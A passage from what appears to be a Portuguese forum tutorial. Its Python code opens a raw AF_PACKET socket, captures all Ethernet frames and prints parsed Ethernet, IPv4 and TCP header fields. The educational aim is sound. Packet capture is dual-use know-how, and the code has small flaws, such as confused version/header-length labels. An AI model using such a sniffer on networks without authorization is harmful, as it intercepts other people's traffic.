Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) if protocolos == 6: (porta_fonte, porta_destino, numero_sequencia, numero_confirmacao, hlen_e_reservado, header_len, flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer ) = dados_pacote_tcp(carga) print("--------- HEADER TCP----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("Número Sequência : {}".format(numero_sequencia)) print("Número Confirmação : {}".format(numero_confirmacao)) print("Hlen_e_reservado : {}".format(hlen_e_reservado)) print("Header_len : {}".format(header_len)) print("Flags : {}".format(flags)) print("Flag FIN : {}".format(flag_FIN)) print("Flag SYN : {}".format(flag_SYN)) print("Flag RST : {}".format(flag_RST)) print("Flag PSH : {}".format(flag_PSH)) print("Flag ACK : {}".format(flag_ACK)) print("Flag URG : {}".format(flag_URG)) print("Flag ECE : {}".format(flag_ECE)) print("Flag CWR : {}".format(flag_CWR)) print("window size : {}".format(window_size)) print("checksum : {}".format(checksum)) print("urgent pointer : {}".format(urgent_pointer)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ Em seguida vamos fazer o UDP… Abraço. 
×
×
  • Criar Novo...